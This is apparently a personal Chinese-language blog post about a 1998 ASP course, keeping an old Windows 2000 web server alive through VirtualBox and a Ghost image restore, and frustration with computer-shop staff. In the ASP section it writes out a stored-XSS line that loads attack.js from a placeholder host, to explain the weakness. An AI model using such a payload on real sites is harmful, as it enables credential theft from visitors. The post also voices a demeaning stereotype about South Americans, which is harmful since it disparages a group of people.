1998年我在中央大學上程式設計師養成班的課

老師都是來自資策會的人,1998年時,大家對網路伺服器都慒懂無知
不是只有我們慒懂無知,連老師們也慒懂無知,我曾經問一個老師太多問題,問到他翻臉罵我。
原因是他也不懂,但他不能在課堂上說他不懂,罵我比較快,後來下課大家一起閒聊時
他自己很不好意思的承認他自己也還在學習
那是個會寫HTML就很屌的年代。

ASP,PHP是什麼?連聽都沒聽過

坦白說,當初資策會的老師安排我們上IIS+ASP的課程,不能說是錯誤
但是真的給我帶來很多的不方便,後來我認識很多網路上的朋友
他們全部都是用Linux跟PHP,我變成自己玩自己的,他們可以互相交換元件玩
至於Micosoft為什麼許多人對他有敵意,包括比爾蓋茲在機場都會被丟派在臉上
這個我不想討論,我想大家都很明白。 

ASP後來因為出現很多的問題,而且客戶端的表單連線的SQL資料庫有很大的漏洞
可以很輕易的被攻擊,比如你可以在任何一個跑IIS3與SQL2000的表單上,寫入..

<script src=http://www.site.com/attack.js language=Javascript></script>

然後按sumit把資料送出,SQL2000的資料庫就會呆呆的把這行字當成資料一樣的記下來
接著,有人上網找到你的留言串,這串字串不會出現在他的網頁上
他的IE會把這行當成是HTML碼,就會去www.site.com這個網站呼叫attack.js這支程式

天知道attack.js這支程式內容是什麼?如果他是能側錄你鍵盤的程式,它就開始背你的密碼再傳出去
讓你的視窗不斷跳出畫面的視窗炸彈也行,總之在javacript能做到的,你的電腦都會發生

你可以用程式的字串函數把它擋掉,比如輸入的內容含有"<script"的字串就阻擋
這當然可以,但是很麻煩,更何況你的表單清清楚楚寫著是那支ASP程式處理SQL的命令
要攻擊的話,2000與SQL2000,跟本擋不住。
接著Microsoft發現問題,提出了aspx與sever2003但為時已晚
IT們開始玩起以UNIX為架構的免費linux

window2000剛出來時,灌2000是一項挑戰,在灌2000時,你要做很多的設定
設定不正確,系統就開不了,後來2000才簡化安裝程序
我問老師,能不能用封裝的?老師跟我說有XXX(我忘了他說什麼東西)過不去,沒法封裝
那要灌系統,就非得一台一台灌不可
所謂的封裝,就是把一台已經灌好的系統直接複制到另一台電腦去用
因此,我一直根深蒂固覺得2000是無法封裝的
我用2000架了十幾個網站,2000缺少郵件伺服器與從客戶端送圖到伺服端的功能
這些功能需要third-party的元件,有些簡單的自己寫,有些則是要去拿別人寫好的
因此,我一直很恐懼,有天我的2000掛掉了怎辦?

即然不能封裝,也只好重灌2000,問題是2000在今年6月MS宣布停止支援
就算你要重灌也灌不了,因為沒更新檔的2000SP1那真的是漏洞一堆,沒人敢去用
那用2003或2008嗎?那那些third-party的元件怎辦?他們早就找不到了
而且新系統要執行舊系統萬一發生問題,一萬多支的程式要怎麼去改?
好吧,看來需要找台電腦讓他跑windows2000

2010年10月,我的電腦的主機板CMOS晶片開始衰減,我知道這台伺服器剩下沒多少生命了
(正式爆掉的時間是2010年11月19日,我曾祈禱它再撐一個月,感謝我這台老服,他真的給我一個月的時間)

我跑去台中NOVA買新電腦,問了許多自稱是工程師的人
得到的答案是,現在的晶片已經無法跑windows2000了,他們叫我死心
(新機有可能不能跑舊系統,不過原因不在晶片,而在廠商可能沒提供2000的網卡驅動程式,這才是正確答案) 

我相信了,我問到一個硬體的朋友,他是個很棒的人,負責幫企業解決企業所需的資訊環境

他提出一個方案,新伺服裝2008,然後裝虛擬程式,讓他跑2000
我不太相信可以這樣做到,虛擬一個系統是可以,但要執行完整的IIS怎可能辦到?
第一個問題就是那IP咧?2008要1個IP,2000也要1個,那要裝2塊網卡嗎?

他安裝了Oracle VM Vitural Machine BOX這個虛擬系統
安裝好居然可以恢復我的網站的服務了,而且網站的反應時間,並不會比我以前那台伺服器慢
說起來,也很好笑,VM我在十幾年前我唸大學時就玩過,但只能轉轉檔案,執行許多軟體都有困難
後來那個VM軟體被Microsoft買斷,因為當有了虛擬widows系統,誰還去裝windows?
就裝MacOS,再裝VM不就好了,如果你想消滅某個軟體,把他買下是最快的方法
MS這麼幹,Yahoo這麼幹,google也這麼幹,如果你想要突然有發財
能寫一個足於威脅到這些大戶,是最快的方法,但條件是它要夠普及

接著昇陽公司也做出一個VM,然後Oracle再買走它
VM的軟體越來越成熟,時至今日,已經可以完全的發揮客體系統的執行
(3D還不行,它屬硬體領域,顯卡的程式模型已被主系統佔住)

Oracle VM Vitural Machine BOX我又把他裝在我工作用的電腦上
心裡盤算著,如果主機要停機維護時,我就開我工作用的電腦提供服務就行了
裝了半天,VMB卻裝不進XP裡,裝是裝的進去,但無法執行客體2000的系統,老是關機開不了
後來才發現,原來有二個地方沒設定好

即然談到Oracle VM Vitural Machine BOX,就乾脆記一下安裝的方法
網路上有一篇教學,不知是故意還是漏掉二個設定
這二個設定你沒做好,你開到死,也啟動不了 

1. 準備GHOST開機軟碟或光碟
2. 將系統的.gho檔案燒成ISO映象檔
3. 下載VM BOX 他是免費的 http://www.virtualbox.org/wiki/Downloads
4. 安裝好VM 按新增,準備第一個住戶(客體系統)的房間
5. 安裝的過很簡單,總之一直OK就好,但記憶體最好給多點,大概512MB左右
6. 核許IO APIC

8.gif 

我知道IO APIC的中文是進階可編程控制器
但鬼才知道啟動W2K需要這個功能,這個勾勾害我足足忙了2天,2個晚上都很沮喪的跑去睡
後來不經易的打勾才啟動 

7. 選擇橋接介面卡模式

9.gif 

橋接是虛擬與實體網卡互為切換的意思
總之,客體的系統是虛擬出來的,客體要用到封包時,就切去叫實體送出
理論上會損失頻寬,其實也還好啦,因為同時使用封包的機會不大

8. 系統設定好後,會出現很多驅動程式找不到,這時,選擇目錄爛位 驅動/附加 guest additions
    他會自動虛擬一個光碟,裡面放驅動程式,會自行安裝上去。

總而言之,關鍵就是6跟7,其它都很簡單 

系統裝好後,我把我的GHO檔灌入VMB裡後完成了
心裡突然靈機一動,即然這樣,我跟本不需要啥2008,我直接拿一顆新硬碟把GHO檔recovery進去不就成了?

我開啟了我工作用的雷腦2000的系統客體,網站恢復服務,我把那台新的SERVER停機
裝了一顆80G的硬碟,然後用ghost CD啟動,把我2000的gho灌入那顆80G的硬碟中
試著開機看看,居然跑了,真是傻眼,只是裝好後,驅動程式要更新一下就完全問題了

我擔心好幾年的東西,原來可以在幾十分鐘內就能解決
許多事都沒你想的那麼難,放手去做,他們都很簡單的。
該不會12年前的1998年,就可以這麼搞吧? 如果真的,那些老師真是飯桶。

NOVA那些工程師真的讓人討厭,這世界不懂裝懂的人挺多的
不懂沒關係,說不知道就好,不懂又要裝懂,害人家浪費許多時間與金錢在那邊繞遠路
這個事件告訴我一件事,硬體方面可以問NOVA的人,系統與程式他們是不懂的啦
就像南美洲的人,據說如果你跟他們問路,即使他們不知道,也會亂跟你指一通
因為他們覺得不知道路很丟臉,看來NOVA的工程師很適合移民去那邊。 

我去年曾經抱電腦去NOVA修理,有個年輕人很熱心的跑來跟我說一堆
原來他是修電腦的SOHO,我電腦就給他修
他知道我是寫程式的,大吃一驚,我不明白寫程式有啥了不起的,不是玩電腦的大家都會嗎?
他說,你知道嗎,NOVA裡面全樓沒一個人會寫程式
我心想,怎可能? 我笑一笑,懶的跟他辯這個無聊的題目

現在我相信了。

arrow
arrow
    全站熱搜
    創作者介紹
    創作者 半熟園丁 的頭像
    半熟園丁

    曬衣窗台的一抺綠

    半熟園丁 發表在 痞客邦 留言(0) 人氣()